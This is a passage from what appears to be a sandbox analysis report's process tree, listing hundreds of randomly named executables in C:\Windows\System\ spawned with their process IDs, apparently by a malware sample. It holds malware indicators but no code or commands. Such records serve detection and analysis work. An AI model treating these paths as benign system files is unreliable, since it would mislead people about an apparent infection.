  PID:6172
- C:\Windows\System\ooBJzWN.exe
  C:\Windows\System\ooBJzWN.exe
  2⤵
  PID:6188
- C:\Windows\System\FIDnaVp.exe
  C:\Windows\System\FIDnaVp.exe
  2⤵
  PID:6204
- C:\Windows\System\FQuiLHr.exe
  C:\Windows\System\FQuiLHr.exe
  2⤵
  PID:6228
- C:\Windows\System\VXztuiG.exe
  C:\Windows\System\VXztuiG.exe
  2⤵
  PID:6244
- C:\Windows\System\LBiXTUP.exe
  C:\Windows\System\LBiXTUP.exe
  2⤵
  PID:6260
- C:\Windows\System\PWRKLBL.exe
  C:\Windows\System\PWRKLBL.exe
  2⤵
  PID:6276
- C:\Windows\System\gocNZLv.exe
  C:\Windows\System\gocNZLv.exe
  2⤵
  PID:6296
- C:\Windows\System\hotHiMD.exe
  C:\Windows\System\hotHiMD.exe
  2⤵
  PID:6316
- C:\Windows\System\ExEsuaE.exe
  C:\Windows\System\ExEsuaE.exe
  2⤵
  PID:6332
- C:\Windows\System\kXvlrrY.exe
  C:\Windows\System\kXvlrrY.exe
  2⤵
  PID:6348
- C:\Windows\System\qOebVkO.exe
  C:\Windows\System\qOebVkO.exe
  2⤵
  PID:6364
- C:\Windows\System\BWUTrTQ.exe
  C:\Windows\System\BWUTrTQ.exe
  2⤵
  PID:6380
- C:\Windows\System\pIlDbTE.exe
  C:\Windows\System\pIlDbTE.exe
  2⤵
  PID:6396
- C:\Windows\System\mYXOcRb.exe
  C:\Windows\System\mYXOcRb.exe
  2⤵
  PID:6412
- C:\Windows\System\oRCTauc.exe
  C:\Windows\System\oRCTauc.exe
  2⤵
  PID:6428
- C:\Windows\System\xCAHyTb.exe
  C:\Windows\System\xCAHyTb.exe
  2⤵
  PID:6444
- C:\Windows\System\ohcEorl.exe
  C:\Windows\System\ohcEorl.exe
  2⤵
  PID:6460
- C:\Windows\System\ILEDfIp.exe
  C:\Windows\System\ILEDfIp.exe
  2⤵
  PID:6476
- C:\Windows\System\SLJXuqV.exe
  C:\Windows\System\SLJXuqV.exe
  2⤵
  PID:6492
- C:\Windows\System\MTrwvXd.exe
  C:\Windows\System\MTrwvXd.exe
  2⤵
  PID:6508
- C:\Windows\System\YarsAmW.exe
  C:\Windows\System\YarsAmW.exe
  2⤵
  PID:6524
- C:\Windows\System\LVnGMYf.exe
  C:\Windows\System\LVnGMYf.exe
  2⤵
  PID:6540
- C:\Windows\System\QkWyQHG.exe
  C:\Windows\System\QkWyQHG.exe
  2⤵
  PID:6560
- C:\Windows\System\FgYQOAx.exe
  C:\Windows\System\FgYQOAx.exe
  2⤵
  PID:6596
- C:\Windows\System\ePZBpjI.exe
  C:\Windows\System\ePZBpjI.exe
  2⤵
  PID:6632
- C:\Windows\System\WQRRCcM.exe
  C:\Windows\System\WQRRCcM.exe
  2⤵
  PID:6668
- C:\Windows\System\VnFVapr.exe
  C:\Windows\System\VnFVapr.exe
  2⤵
  PID:6704
- C:\Windows\System\dKooZYh.exe
  C:\Windows\System\dKooZYh.exe
  2⤵
  PID:6724
- C:\Windows\System\iBndeuZ.exe
  C:\Windows\System\iBndeuZ.exe
  2⤵
  PID:6740
- C:\Windows\System\tnMUXHv.exe
  C:\Windows\System\tnMUXHv.exe
  2⤵
  PID:6756
- C:\Windows\System\bQRzJmr.exe
  C:\Windows\System\bQRzJmr.exe
  2⤵
  PID:6772
- C:\Windows\System\EiNwMqz.exe
  C:\Windows\System\EiNwMqz.exe
  2⤵
  PID:6788
- C:\Windows\System\vjQgGMK.exe
  C:\Windows\System\vjQgGMK.exe
  2⤵
  PID:6804
- C:\Windows\System\XOacvFr.exe
  C:\Windows\System\XOacvFr.exe
  2⤵
  PID:6820
- C:\Windows\System\lsNIJYx.exe
  C:\Windows\System\lsNIJYx.exe
  2⤵
  PID:6836
- C:\Windows\System\LlmzJSR.exe
  C:\Windows\System\LlmzJSR.exe
  2⤵
  PID:6852
- C:\Windows\System\rFKSuev.exe
  C:\Windows\System\rFKSuev.exe
  2⤵
  PID:6872
- C:\Windows\System\ChsgQon.exe
  C:\Windows\System\ChsgQon.exe
  2⤵
  PID:6888
- C:\Windows\System\rwXveqw.exe
  C:\Windows\System\rwXveqw.exe
  2⤵
  PID:6904
- C:\Windows\System\tRBccYK.exe
  C:\Windows\System\tRBccYK.exe
  2⤵
  PID:6920
- C:\Windows\System\abTbbER.exe
  C:\Windows\System\abTbbER.exe
  2⤵
  PID:6940
- C:\Windows\System\fjxSwDW.exe
  C:\Windows\System\fjxSwDW.exe
  2⤵
  PID:6976
- C:\Windows\System\niZkBLp.exe
  C:\Windows\System\niZkBLp.exe
  2⤵
  PID:6992
- C:\Windows\System\GpzTRlj.exe
  C:\Windows\System\GpzTRlj.exe
  2⤵
  PID:7016
- C:\Windows\System\xSIgvlt.exe
  C:\Windows\System\xSIgvlt.exe
  2⤵
  PID:7036
- C:\Windows\System\izrEszw.exe
  C:\Windows\System\izrEszw.exe
  2⤵
  PID:7052
- C:\Windows\System\DAVKicw.exe
  C:\Windows\System\DAVKicw.exe
  2⤵
  PID:7072
- C:\Windows\System\RUuzYep.exe
  C:\Windows\System\RUuzYep.exe
  2⤵
  PID:7092
- C:\Windows\System\tLFKjZf.exe
  C:\Windows\System\tLFKjZf.exe
  2⤵
  PID:7108
- C:\Windows\System\PHGDJmJ.exe
  C:\Windows\System\PHGDJmJ.exe
  2⤵
  PID:7136
- C:\Windows\System\XnYbHUm.exe
  C:\Windows\System\XnYbHUm.exe
  2⤵
  PID:7156
- C:\Windows\System\niMTSKy.exe
  C:\Windows\System\niMTSKy.exe
  2⤵
  PID:6148
- C:\Windows\System\vIkIcjq.exe
  C:\Windows\System\vIkIcjq.exe
  2⤵
  PID:6216
- C:\Windows\System\rfnvOdj.exe
  C:\Windows\System\rfnvOdj.exe
  2⤵
  PID:6256
- C:\Windows\System\nezezwD.exe
  C:\Windows\System\nezezwD.exe
  2⤵
  PID:6328
- C:\Windows\System\FkBtIfR.exe
  C:\Windows\System\FkBtIfR.exe
  2⤵
  PID:6452
- C:\Windows\System\XLOCWOq.exe
  C:\Windows\System\XLOCWOq.exe
  2⤵
  PID:6456
- C:\Windows\System\uIiPLpJ.exe
  C:\Windows\System\uIiPLpJ.exe
  2⤵
  PID:6520
- C:\Windows\System\zlDATnd.exe
  C:\Windows\System\zlDATnd.exe
  2⤵
  PID:6592
- C:\Windows\System\bpZnpBV.exe
  C:\Windows\System\bpZnpBV.exe
  2⤵
  PID:6624
- C:\Windows\System\AZeHJfJ.exe
  C:\Windows\System\AZeHJfJ.exe
  2⤵
  PID:6684
- C:\Windows\System\glzVzge.exe
  C:\Windows\System\glzVzge.exe
  2⤵
  PID:6692
- C:\Windows\System\ABzdJWS.exe
  C:\Windows\System\ABzdJWS.exe
  2⤵
  PID:6800
- C:\Windows\System\dmijRXj.exe
  C:\Windows\System\dmijRXj.exe
  2⤵
  PID:6864
- C:\Windows\System\juarYbe.exe
  C:\Windows\System\juarYbe.exe
  2⤵
  PID:6928
- C:\Windows\System\cVQhwWO.exe
  C:\Windows\System\cVQhwWO.exe
  2⤵
  PID:1636
- C:\Windows\System\XPfNvOP.exe
  C:\Windows\System\XPfNvOP.exe
  2⤵
  PID:5828
- C:\Windows\System\vWnIOiN.exe
  C:\Windows\System\vWnIOiN.exe
  2⤵
  PID:6028
- C:\Windows\System\fvyvEvx.exe
  C:\Windows\System\fvyvEvx.exe
  2⤵
  PID:5316
- C:\Windows\System\fvJMdAr.exe
  C:\Windows\System\fvJMdAr.exe
  2⤵
  PID:696
- C:\Windows\System\BrjQWVd.exe
  C:\Windows\System\BrjQWVd.exe
  2⤵
  PID:6340
- C:\Windows\System\DyrQuFB.exe
  C:\Windows\System\DyrQuFB.exe
  2⤵
  PID:2852
- C:\Windows\System\GerqYWe.exe
  C:\Windows\System\GerqYWe.exe
  2⤵
  PID:6580
- C:\Windows\System\icnfYJT.exe
  C:\Windows\System\icnfYJT.exe
  2⤵
  PID:5952
- C:\Windows\System\hctpIGX.exe
  C:\Windows\System\hctpIGX.exe
  2⤵
  PID:6848
- C:\Windows\System\OuIcPFD.exe
  C:\Windows\System\OuIcPFD.exe
  2⤵
  PID:2460
- C:\Windows\System\SipvdaJ.exe
  C:\Windows\System\SipvdaJ.exe
  2⤵
  PID:5572
- C:\Windows\System\gVfxRAq.exe
  C:\Windows\System\gVfxRAq.exe
  2⤵
  PID:5752
- C:\Windows\System\dlTBwxz.exe
  C:\Windows\System\dlTBwxz.exe
  2⤵
  PID:5968
- C:\Windows\System\ScRMeAH.exe
  C:\Windows\System\ScRMeAH.exe
  2⤵
  PID:6100
- C:\Windows\System\osjSCma.exe
  C:\Windows\System\osjSCma.exe
  2⤵
  PID:5608
- C:\Windows\System\OVRBGnc.exe
  C:\Windows\System\OVRBGnc.exe
  2⤵
  PID:6012
- C:\Windows\System\AcfLxYK.exe
  C:\Windows\System\AcfLxYK.exe
  2⤵
  PID:6164
- C:\Windows\System\sLZfUmZ.exe
  C:\Windows\System\sLZfUmZ.exe
  2⤵
  PID:6236
- C:\Windows\System\MWbeswr.exe
  C:\Windows\System\MWbeswr.exe
  2⤵
  PID:6308
- C:\Windows\System\mZnuYel.exe
  C:\Windows\System\mZnuYel.exe
  2⤵
  PID:6532
- C:\Windows\System\cpFMjAB.exe
  C:\Windows\System\cpFMjAB.exe
  2⤵
  PID:6588
- C:\Windows\System\IsmOxvO.exe
  C:\Windows\System\IsmOxvO.exe
  2⤵
  PID:6656
- C:\Windows\System\SlmAYxD.exe
  C:\Windows\System\SlmAYxD.exe
  2⤵
  PID:6720
- C:\Windows\System\AvxRzdq.exe
  C:\Windows\System\AvxRzdq.exe
  2⤵
  PID:6812
- C:\Windows\System\LiYTyBn.exe
  C:\Windows\System\LiYTyBn.exe
  2⤵
  PID:6884
- C:\Windows\System\qfyKMjo.exe
  C:\Windows\System\qfyKMjo.exe
  2⤵
  PID:6952
- C:\Windows\System\suQHVFO.exe
  C:\Windows\System\suQHVFO.exe
  2⤵
  PID:6972
- C:\Windows\System\DFjLWWg.exe
  C:\Windows\System\DFjLWWg.exe
  2⤵
  PID:7024
- C:\Windows\System\WSNrkzT.exe
  C:\Windows\System\WSNrkzT.exe
  2⤵
  PID:7008
- C:\Windows\System\oqpWPZE.exe
  C:\Windows\System\oqpWPZE.exe
  2⤵
  PID:7068
- C:\Windows\System\CtqdJyV.exe
  C:\Windows\System\CtqdJyV.exe
  2⤵
  PID:7080
- C:\Windows\System\jYVFyom.exe
  C:\Windows\System\jYVFyom.exe
  2⤵
  PID:7128
- C:\Windows\System\KBOgVTa.exe
  C:\Windows\System\KBOgVTa.exe
  2⤵
  PID:6324
- C:\Windows\System\XiQWRpM.exe
  C:\Windows\System\XiQWRpM.exe
  2⤵
  PID:6552
- C:\Windows\System\rpBczeB.exe
  C:\Windows\System\rpBczeB.exe
  2⤵
  PID:7164
- C:\Windows\System\megsvPU.exe
  C:\Windows\System\megsvPU.exe
  2⤵
  PID:6392
- C:\Windows\System\wScRpNY.exe
  C:\Windows\System\wScRpNY.exe
  2⤵
  PID:6676
- C:\Windows\System\XiWKwZQ.exe
  C:\Windows\System\XiWKwZQ.exe
  2⤵
  PID:6896
- C:\Windows\System\miYNBKm.exe
  C:\Windows\System\miYNBKm.exe
  2⤵
  PID:6700
- C:\Windows\System\UXkZyBR.exe
  C:\Windows\System\UXkZyBR.exe
  2⤵
  PID:6000
- C:\Windows\System\rYVlZkF.exe
  C:\Windows\System\rYVlZkF.exe
  2⤵
  PID:6268
- C:\Windows\System\zEAfWzn.exe
  C:\Windows\System\zEAfWzn.exe
  2⤵
  PID:5996
- C:\Windows\System\zkKbrrx.exe
  C:\Windows\System\zkKbrrx.exe
  2⤵
  PID:6376
- C:\Windows\System\huVEUda.exe
  C:\Windows\System\huVEUda.exe
  2⤵
  PID:5544
- C:\Windows\System\KRdNUGv.exe
  C:\Windows\System\KRdNUGv.exe
  2⤵
  PID:2912
- C:\Windows\System\rzkritr.exe
  C:\Windows\System\rzkritr.exe
  2⤵
  PID:3064
- C:\Windows\System\VOkvZJu.exe
  C:\Windows\System\VOkvZJu.exe
  2⤵
  PID:6576
- C:\Windows\System\yKcxmLq.exe
  C:\Windows\System\yKcxmLq.exe
  2⤵
  PID:6664
- C:\Windows\System\smuouJH.exe
  C:\Windows\System\smuouJH.exe
  2⤵
  PID:6816
- C:\Windows\System\qFYfSXl.exe
  C:\Windows\System\qFYfSXl.exe
  2⤵
  PID:6408
- C:\Windows\System\Lfobkio.exe
  C:\Windows\System\Lfobkio.exe
  2⤵
  PID:6648
- C:\Windows\System\KjfRvEW.exe
  C:\Windows\System\KjfRvEW.exe
  2⤵
  PID:5300
- C:\Windows\System\fLGSvTE.exe
  C:\Windows\System\fLGSvTE.exe
  2⤵
  PID:6916
- C:\Windows\System\DfDpEGK.exe
  C:\Windows\System\DfDpEGK.exe
  2⤵
  PID:7028
- C:\Windows\System\JTORsfI.exe
  C:\Windows\System\JTORsfI.exe
  2⤵
  PID:6184
- C:\Windows\System\vGCJjhH.exe
  C:\Windows\System\vGCJjhH.exe
  2⤵
  PID:7048
- C:\Windows\System\iZDmqRn.exe
  C:\Windows\System\iZDmqRn.exe
  2⤵
  PID:6516
- C:\Windows\System\ltXnOhu.exe
  C:\Windows\System\ltXnOhu.exe
  2⤵
  PID:6608
- C:\Windows\System\DPBgRBN.exe
  C:\Windows\System\DPBgRBN.exe
  2⤵
  PID:7004
- C:\Windows\System\HlJMtyj.exe
  C:\Windows\System\HlJMtyj.exe
  2⤵
  PID:5948
- C:\Windows\System\dkZUPuJ.exe
  C:\Windows\System\dkZUPuJ.exe
  2⤵
  PID:5156
- C:\Windows\System\fDnMhMz.exe
  C:\Windows\System\fDnMhMz.exe
  2⤵
  PID:1832
- C:\Windows\System\uwVWYWv.exe
  C:\Windows\System\uwVWYWv.exe
  2⤵
  PID:5748
- C:\Windows\System\hLJBWqg.exe
  C:\Windows\System\hLJBWqg.exe
  2⤵
  PID:7088
- C:\Windows\System\aLDmwkV.exe
  C:\Windows\System\aLDmwkV.exe
  2⤵
  PID:2856
- C:\Windows\System\OgsXNHs.exe
  C:\Windows\System\OgsXNHs.exe
  2⤵
  PID:6116
- C:\Windows\System\yCMxZOo.exe
  C:\Windows\System\yCMxZOo.exe
  2⤵
  PID:4868
- C:\Windows\System\HoKWhoi.exe
  C:\Windows\System\HoKWhoi.exe
  2⤵
  PID:6780
- C:\Windows\System\WOcVCNa.exe
  C:\Windows\System\WOcVCNa.exe
  2⤵
  PID:7064
- C:\Windows\System\UhgHjtM.exe
  C:\Windows\System\UhgHjtM.exe
  2⤵
  PID:6712
- C:\Windows\System\wmblFPz.exe
  C:\Windows\System\wmblFPz.exe
  2⤵
  PID:6832
- C:\Windows\System\pfWkByW.exe
  C:\Windows\System\pfWkByW.exe
  2⤵
  PID:5524
- C:\Windows\System\iXrmmom.exe
  C:\Windows\System\iXrmmom.exe
  2⤵
  PID:5464
- C:\Windows\System\yhRGdcJ.exe
  C:\Windows\System\yhRGdcJ.exe
  2⤵
  PID:6088
- C:\Windows\System\EdDJISv.exe
  C:\Windows\System\EdDJISv.exe
  2⤵
  PID:6500
- C:\Windows\System\FiPlQxI.exe
  C:\Windows\System\FiPlQxI.exe
  2⤵
  PID:6360
- C:\Windows\System\eUSfRmB.exe
  C:\Windows\System\eUSfRmB.exe
  2⤵
  PID:6288
- C:\Windows\System\FwIwKBA.exe
  C:\Windows\System\FwIwKBA.exe
  2⤵
  PID:6844
- C:\Windows\System\orTZFmu.exe
  C:\Windows\System\orTZFmu.exe
  2⤵
  PID:7104
- C:\Windows\System\LRhGuCQ.exe
  C:\Windows\System\LRhGuCQ.exe
  2⤵
  PID:6900
- C:\Windows\System\MegSYVj.exe
  C:\Windows\System\MegSYVj.exe
  2⤵
  PID:7184
- C:\Windows\System\sTErrGN.exe
  C:\Windows\System\sTErrGN.exe
  2⤵
  PID:7204
- C:\Windows\System\TArOwvl.exe
  C:\Windows\System\TArOwvl.exe
  2⤵
  PID:7220
- C:\Windows\System\KUffquC.exe
  C:\Windows\System\KUffquC.exe
  2⤵
  PID:7236
- C:\Windows\System\JXZycgU.exe
  C:\Windows\System\JXZycgU.exe
  2⤵
  PID:7252
- C:\Windows\System\VegocbQ.exe
  C:\Windows\System\VegocbQ.exe
  2⤵
  PID:7268
- C:\Windows\System\KzNUBsw.exe
  C:\Windows\System\KzNUBsw.exe
  2⤵
  PID:7288
- C:\Windows\System\QNpLLFt.exe
  C:\Windows\System\QNpLLFt.exe
  2⤵
  PID:7304
- C:\Windows\System\cvKgvFM.exe
  C:\Windows\System\cvKgvFM.exe
  2⤵
  PID:7328
- C:\Windows\System\grMEqsK.exe
  C:\Windows\System\grMEqsK.exe
  2⤵
  PID:7344
- C:\Windows\System\glRADxp.exe
  C:\Windows\System\glRADxp.exe
  2⤵
  PID:7360
- C:\Windows\System\gdMaMDx.exe
  C:\Windows\System\gdMaMDx.exe
  2⤵
  PID:7376
- C:\Windows\System\JraGpeG.exe
  C:\Windows\System\JraGpeG.exe
  2⤵
  PID:7392
- C:\Windows\System\zUszVoD.exe
  C:\Windows\System\zUszVoD.exe
  2⤵
  PID:7408
- C:\Windows\System\xbliaWL.exe
  C:\Windows\System\xbliaWL.exe
  2⤵
  PID:7428
- C:\Windows\System\RTbVqSS.exe
  C:\Windows\System\RTbVqSS.exe
  2⤵
  PID:7444
- C:\Windows\System\QgmzWdl.exe
  C:\Windows\System\QgmzWdl.exe
  2⤵
  PID:7460
- C:\Windows\System\jOjFiZW.exe
  C:\Windows\System\jOjFiZW.exe
  2⤵
  PID:7476
- C:\Windows\System\IMXTxBl.exe
  C:\Windows\System\IMXTxBl.exe
  2⤵
  PID:7492
- C:\Windows\System\SXWhYsp.exe
  C:\Windows\System\SXWhYsp.exe
  2⤵
  PID:7508
- C:\Windows\System\hxJctxT.exe
  C:\Windows\System\hxJctxT.exe
  2⤵
  PID:7528
- C:\Windows\System\CkbDRxA.exe
  C:\Windows\System\CkbDRxA.exe
  2⤵
  PID:7544
- C:\Windows\System\jMzIoKr.exe
  C:\Windows\System\jMzIoKr.exe
  2⤵
  PID:7560
- C:\Windows\System\OQLzXWa.exe
  C:\Windows\System\OQLzXWa.exe
  2⤵
  PID:7576
- C:\Windows\System\VlxFSbT.exe
  C:\Windows\System\VlxFSbT.exe
  2⤵
  PID:7592
- C:\Windows\System\koVzpXj.exe
  C:\Windows\System\koVzpXj.exe
  2⤵
  PID:7608
- C:\Windows\System\yoWgTot.exe
  C:\Windows\System\yoWgTot.exe
  2⤵
  PID:7624
- C:\Windows\System\ZhkNaAb.exe
  C:\Windows\System\ZhkNaAb.exe
  2⤵
  PID:7640
- C:\Windows\System\NqGAPZB.exe
  C:\Windows\System\NqGAPZB.exe
  2⤵
  PID:7660
- C:\Windows\System\YotehQf.exe
  C:\Windows\System\YotehQf.exe
  2⤵
  PID:7676
- C:\Windows\System\VhcYSeb.exe
  C:\Windows\System\VhcYSeb.exe
  2⤵
  PID:7692
- C:\Windows\System\ESmqoDx.exe
  C:\Windows\System\ESmqoDx.exe
  2⤵
  PID:7708
- C:\Windows\System\jQuFZyF.exe
  C:\Windows\System\jQuFZyF.exe
  2⤵
  PID:7728
- C:\Windows\System\YHCwoqU.exe
  C:\Windows\System\YHCwoqU.exe
  2⤵
  PID:7744
- C:\Windows\System\dcXMQff.exe
  C:\Windows\System\dcXMQff.exe
  2⤵
  PID:7760
- C:\Windows\System\ZSfECkx.exe
  C:\Windows\System\ZSfECkx.exe
  2⤵
  PID:7776
- C:\Windows\System\wVnvtrF.exe
  C:\Windows\System\wVnvtrF.exe
  2⤵
  PID:7792
- C:\Windows\System\jkovHRV.exe
  C:\Windows\System\jkovHRV.exe
  2⤵
  PID:7812
- C:\Windows\System\jzfNMli.exe
  C:\Windows\System\jzfNMli.exe
  2⤵
  PID:7828
- C:\Windows\System\jSWonBT.exe
  C:\Windows\System\jSWonBT.exe
  2⤵
  PID:7844
- C:\Windows\System\sGnSpef.exe
  C:\Windows\System\sGnSpef.exe
  2⤵
  PID:7860
- C:\Windows\System\bBiXYSt.exe
  C:\Windows\System\bBiXYSt.exe
  2⤵
  PID:7876
- C:\Windows\System\UrDAOaC.exe
  C:\Windows\System\UrDAOaC.exe
  2⤵
  PID:7896
- C:\Windows\System\TDQESeP.exe
  C:\Windows\System\TDQESeP.exe
  2⤵
  PID:7912
- C:\Windows\System\enxtHYH.exe
  C:\Windows\System\enxtHYH.exe
  2⤵
  PID:7928
- C:\Windows\System\mJkYFZB.exe
  C:\Windows\System\mJkYFZB.exe
  2⤵
  PID:7948
- C:\Windows\System\VqptWuK.exe
  C:\Windows\System\VqptWuK.exe
  2⤵
  PID:7964
- C:\Windows\System\ELgtfqj.exe
  C:\Windows\System\ELgtfqj.exe
  2⤵
  PID:7980
- C:\Windows\System\UtjHwhN.exe
  C:\Windows\System\UtjHwhN.exe
  2⤵
  PID:7996
- C:\Windows\System\oqmGCvZ.exe
  C:\Windows\System\oqmGCvZ.exe
  2⤵
  PID:8012
- C:\Windows\System\avuueRo.exe
  C:\Windows\System\avuueRo.exe
  2⤵
  PID:8028
- C:\Windows\System\bkwBUGt.exe
  C:\Windows\System\bkwBUGt.exe
  2⤵
  PID:8044
- C:\Windows\System\MoKGYSS.exe
  C:\Windows\System\MoKGYSS.exe
  2⤵
  PID:8068
- C:\Windows\System\yWzijZw.exe
  C:\Windows\System\yWzijZw.exe
  2⤵
  PID:8084
- C:\Windows\System\GKIkzWz.exe
  C:\Windows\System\GKIkzWz.exe
  2⤵
  PID:8100
- C:\Windows\System\fzsTXjz.exe
  C:\Windows\System\fzsTXjz.exe
  2⤵
  PID:8124
- C:\Windows\System\FEAFdtS.exe
  C:\Windows\System\FEAFdtS.exe
  2⤵
  PID:8140
- C:\Windows\System\TQERVRW.exe
  C:\Windows\System\TQERVRW.exe
  2⤵
  PID:8156
- C:\Windows\System\VWVpiRj.exe
  C:\Windows\System\VWVpiRj.exe
  2⤵
  PID:8172
- C:\Windows\System\TbBqRrB.exe
  C:\Windows\System\TbBqRrB.exe
  2⤵
  PID:7176
- C:\Windows\System\nXxeTIm.exe
  C:\Windows\System\nXxeTIm.exe
  2⤵
  PID:7180
- C:\Windows\System\euOueNN.exe
  C:\Windows\System\euOueNN.exe
  2⤵
  PID:7248
- C:\Windows\System\AVIdvMl.exe
  C:\Windows\System\AVIdvMl.exe
  2⤵
  PID:6472
- C:\Windows\System\NyEeqAN.exe
  C:\Windows\System\NyEeqAN.exe
  2⤵
  PID:7232
- C:\Windows\System\CyIcgaJ.exe
  C:\Windows\System\CyIcgaJ.exe
  2⤵
  PID:7196
- C:\Windows\System\ZLtkQDH.exe
  C:\Windows\System\ZLtkQDH.exe
  2⤵
  PID:7264
- C:\Windows\System\QvphYwI.exe
  C:\Windows\System\QvphYwI.exe
  2⤵
  PID:7352
- C:\Windows\System\dMAMWfO.exe
  C:\Windows\System\dMAMWfO.exe
  2⤵
  PID:7336
- C:\Windows\System\NcyNPla.exe
  C:\Windows\System\NcyNPla.exe
  2⤵
  PID:7340
- C:\Windows\System\oCUQktc.exe
  C:\Windows\System\oCUQktc.exe
  2⤵
  PID:7468
- C:\Windows\System\LhIlsVJ.exe
  C:\Windows\System\LhIlsVJ.exe
  2⤵
  PID:7372
- C:\Windows\System\mEsMIlx.exe
  C:\Windows\System\mEsMIlx.exe
  2⤵
  PID:7440
- C:\Windows\System\CCascsH.exe
  C:\Windows\System\CCascsH.exe
  2⤵
  PID:7504
- C:\Windows\System\GnkSGCH.exe
  C:\Windows\System\GnkSGCH.exe
  2⤵
  PID:7540
- C:\Windows\System\WRlzdks.exe
  C:\Windows\System\WRlzdks.exe
  2⤵
  PID:7648
- C:\Windows\System\OiqSkWh.exe
  C:\Windows\System\OiqSkWh.exe
  2⤵
  PID:7600
- C:\Windows\System\owMLgfc.exe
  C:\Windows\System\owMLgfc.exe
  2⤵
  PID:7668
- C:\Windows\System\kPTWLPo.exe
  C:\Windows\System\kPTWLPo.exe
  2⤵
  PID:7716
- C:\Windows\System\cEFwVTs.exe
  C:\Windows\System\cEFwVTs.exe
  2⤵
  PID:7784
- C:\Windows\System\ycEcqMc.exe
  C:\Windows\System\ycEcqMc.exe
  2⤵
  PID:7820
- C:\Windows\System\xUJpOmd.exe
  C:\Windows\System\xUJpOmd.exe
  2⤵
  PID:7772
- C:\Windows\System\UtANirr.exe
  C:\Windows\System\UtANirr.exe
  2⤵
  PID:7724
- C:\Windows\System\UDlKOPt.exe
  C:\Windows\System\UDlKOPt.exe
  2⤵
  PID:7840
- C:\Windows\System\zfhqAaN.exe
  C:\Windows\System\zfhqAaN.exe
  2⤵
  PID:7920
- C:\Windows\System\rLfnkAk.exe
  C:\Windows\System\rLfnkAk.exe
  2⤵
  PID:7988
- C:\Windows\System\McuPpYs.exe
  C:\Windows\System\McuPpYs.exe
  2⤵
  PID:8052
- C:\Windows\System\XJewOQe.exe
  C:\Windows\System\XJewOQe.exe
  2⤵
  PID:7872
- C:\Windows\System\jcVMJqH.exe
  C:\Windows\System\jcVMJqH.exe
  2⤵
  PID:7976
- C:\Windows\System\FCALnGV.exe
  C:\Windows\System\FCALnGV.exe
  2⤵
  PID:7908
- C:\Windows\System\NaAsuVC.exe
  C:\Windows\System\NaAsuVC.exe
  2⤵
  PID:8076
- C:\Windows\System\AyxoEZn.exe
  C:\Windows\System\AyxoEZn.exe
  2⤵
  PID:8136
- C:\Windows\System\MPYySVs.exe
  C:\Windows\System\MPYySVs.exe
  2⤵
  PID:8116
- C:\Windows\System\wXAXFPC.exe
  C:\Windows\System\wXAXFPC.exe
  2⤵
  PID:6572
- C:\Windows\System\GOxkfab.exe
  C:\Windows\System\GOxkfab.exe
  2⤵
  PID:6652
- C:\Windows\System\JrqOYUU.exe
  C:\Windows\System\JrqOYUU.exe
  2⤵
  PID:7324
- C:\Windows\System\gFrZirJ.exe
  C:\Windows\System\gFrZirJ.exe
  2⤵
  PID:8180
- C:\Windows\System\lmmoQbI.exe
  C:\Windows\System\lmmoQbI.exe
  2⤵
  PID:816
- C:\Windows\System\bsVFYye.exe
  C:\Windows\System\bsVFYye.exe
  2⤵
  PID:7424
- C:\Windows\System\BGRIAdP.exe
  C:\Windows\System\BGRIAdP.exe
  2⤵
  PID:7568
- C:\Windows\System\BVhnwOq.exe
  C:\Windows\System\BVhnwOq.exe
  2⤵
  PID:7752
- C:\Windows\System\wdMkSBA.exe
  C:\Windows\System\wdMkSBA.exe
  2⤵
  PID:7808
- C:\Windows\System\BWQNHPB.exe
  C:\Windows\System\BWQNHPB.exe
  2⤵
  PID:7520
- C:\Windows\System\lmFaeJG.exe
  C:\Windows\System\lmFaeJG.exe
  2⤵
  PID:7904
- C:\Windows\System\AIkOcUo.exe
  C:\Windows\System\AIkOcUo.exe
  2⤵
  PID:8040
- C:\Windows\System\gWxuIbE.exe
  C:\Windows\System\gWxuIbE.exe
  2⤵
  PID:7584
- C:\Windows\System\JtKcRFs.exe
  C:\Windows\System\JtKcRFs.exe
  2⤵
  PID:8132
- C:\Windows\System\XoVTGyw.exe
  C:\Windows\System\XoVTGyw.exe
  2⤵
  PID:7704
- C:\Windows\System\iWNcNve.exe
  C:\Windows\System\iWNcNve.exe
  2⤵
  PID:7888
- C:\Windows\System\XiRdBoF.exe
  C:\Windows\System\XiRdBoF.exe
  2⤵
  PID:8064
- C:\Windows\System\EBAPiNY.exe
  C:\Windows\System\EBAPiNY.exe
  2⤵
  PID:7244
- C:\Windows\System\kvJxjsE.exe
  C:\Windows\System\kvJxjsE.exe
  2⤵
  PID:8112
- C:\Windows\System\yJzupqX.exe
  C:\Windows\System\yJzupqX.exe
  2⤵
  PID:7280
- C:\Windows\System\bQxJsnh.exe
  C:\Windows\System\bQxJsnh.exe
  2⤵
  PID:7312
- C:\Windows\System\vXVOcku.exe
  C:\Windows\System\vXVOcku.exe
  2⤵
  PID:7852
- C:\Windows\System\pFzuQgF.exe
  C:\Windows\System\pFzuQgF.exe
  2⤵
  PID:7516
- C:\Windows\System\kwXhRda.exe
  C:\Windows\System\kwXhRda.exe
  2⤵
  PID:8060
- C:\Windows\System\NqFvnxp.exe
  C:\Windows\System\NqFvnxp.exe
  2⤵
  PID:7436
- C:\Windows\System\jJGfcEh.exe
  C:\Windows\System\jJGfcEh.exe
  2⤵
  PID:7700
- C:\Windows\System\tBSgMPu.exe
  C:\Windows\System\tBSgMPu.exe
  2⤵
  PID:8020
- C:\Windows\System\nRxNRwx.exe
  C:\Windows\System\nRxNRwx.exe
  2⤵
  PID:7420
- C:\Windows\System\WncnlGA.exe
  C:\Windows\System\WncnlGA.exe
  2⤵
  PID:7736
- C:\Windows\System\UzXgIvi.exe
  C:\Windows\System\UzXgIvi.exe
  2⤵
  PID:7632
- C:\Windows\System\fASBFzL.exe
  C:\Windows\System\fASBFzL.exe
  2⤵
  PID:8204
- C:\Windows\System\NjPXsXp.exe
  C:\Windows\System\NjPXsXp.exe
  2⤵
  PID:8220
- C:\Windows\System\ASmiEMP.exe
  C:\Windows\System\ASmiEMP.exe
  2⤵
  PID:8236
- C:\Windows\System\GRQXPyw.exe
  C:\Windows\System\GRQXPyw.exe
  2⤵
  PID:8252
- C:\Windows\System\sLqtKvn.exe
  C:\Windows\System\sLqtKvn.exe
  2⤵
  PID:8272
- C:\Windows\System\qtmNeSQ.exe
  C:\Windows\System\qtmNeSQ.exe
  2⤵
  PID:8288
- C:\Windows\System\rkogfeZ.exe
  C:\Windows\System\rkogfeZ.exe
  2⤵
  PID:8304
- C:\Windows\System\ayiSwjd.exe
  C:\Windows\System\ayiSwjd.exe
  2⤵
  PID:8320
